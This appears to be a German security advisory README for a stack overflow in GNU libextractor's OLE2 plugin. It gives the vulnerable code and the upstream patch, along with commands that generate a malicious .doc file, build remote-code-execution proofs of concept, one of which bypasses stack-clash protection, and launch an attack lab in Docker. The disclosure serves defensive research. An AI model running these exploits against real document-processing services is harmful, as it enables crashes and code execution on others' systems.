CVE-2026-91752: GNU libextractor Stack Overflow über OLE2

Zusammenfassung

Ein stackbasierter Pufferüberlauf im OLE2-Plugin von GNU libextractor ermöglicht Remote-Denial-of-Service (Absturz) und Codeausführung bei der Verarbeitung einer manipulierten .doc-Datei. Die Schwachstelle befindet sich in process_star_office() (ole2_extractor.c:349), das ein Variable Length Array von bis zu 4 MB auf dem Stack alloziert, basierend auf angreiferkontrollierten Dateidaten.

Primäre Auswirkung: Remote Denial of Service — bringt jede Anwendung zum Absturz, die die bösartige Datei verarbeitet
Sekundäre Auswirkung: Remote Code Execution über Umgehung von -fstack-clash-protection mittels benachbarter Thread-Stacks

Hinweis: Modernes GCC (≥8) aktiviert standardmäßig -fstack-clash-protection, was bei Single-Threaded-Anwendungen den ausnutzbaren Überlauf in einen sicheren Absturz umwandelt. Diese Mitigation kann jedoch in Multi-Threaded-Anwendungen umgangen werden, bei denen Thread-Stacks im Speicher benachbart sind — die VLA-Probes gelingen in den Stack des benachbarten Threads, was vollständige Codeausführung selbst auf gehärteten Builds ermöglicht. Siehe docs/BYPASS.md für Details.

Betroffene Software

• GNU libextractor ≤ 1.14 (alle Versionen mit OLE2-Plugin)
• Jede Anwendung, die libextractor zur Verarbeitung nicht vertrauenswürdiger .doc-Dateien verwendet
• GNUnet (File-Sharing-Indexer)

Schnelle Demo

# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

Proof of Concept (Lab-Demo)

Die obige Animation demonstriert die automatisierte Laborumgebung, die im Verzeichnis lab-setup/ bereitgestellt wird. Durch einfaches Ausführen von docker compose up generiert ein Angreifer-Container automatisch die bösartige .doc-Nutzlast und lädt sie auf einen verwundbaren Document-Indexing-Webdienst hoch. Die libextractor-Parsing-Logik löst den VLA-Stack-Überlauf aus, wodurch der Angreifer stillschweigend beliebige Codeausführung erreichen kann. Wir verifizieren den Exploit, indem wir cat /tmp/pwned auf dem Zielcontainer ausführen, um die Befehlsausgabe zu sehen.

Repository-Struktur

├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

Reproduktion

Absturz / DoS (funktioniert auf jedem System)

# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

Codeausführung (Schutz deaktiviert)

gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

Codeausführung (Schutzumgehung, mehrthreadig)

gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

Docker-Labor

docker-compose -f lab-setup/docker-compose.yml up -d

Ursache

// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

Ohne -fstack-clash-protection generiert der Compiler:

sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

Mit -fstack-clash-protection können die Probes in mehrthreadigen Kontexten dennoch umgangen werden (siehe docs/BYPASS.md).

Offizieller Patch (libextractor 1.15)

-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);

Referenzen

• CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-91752
• NVD-Eintrag: https://nvd.nist.gov/vuln/detail/cve-2026-91752
• VulnCheck Advisory: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.15-stack-overflow-via-ole2
• Upstream-Patch-Commits:
  • Commit 04004eb1
  • Commit 2781c7e9
• Produkt: https://www.gnu.org/software/libextractor/

Danksagung

Entdeckt von mir (Haitam Lazaar) im Rahmen meiner unabhängigen Sicherheitsforschung.

Anerkennungen

Besonderer Dank gilt Christian Grothoff, dem Maintainer von GNU libextractor, für seine unglaublich schnelle Triage, professionelle Kommunikation und schnelle Bereitstellung von Patches (v1.15, v1.16 und v1.17) zur Behebung dieser und mehrerer anderer Speichersicherheitsprobleme, die während dieses Audits gemeldet wurden.

Lizenz

Meine Forschung wird zu Bildungs- und Verteidigungszwecken bereitgestellt. Verantwortungsvoll verwenden.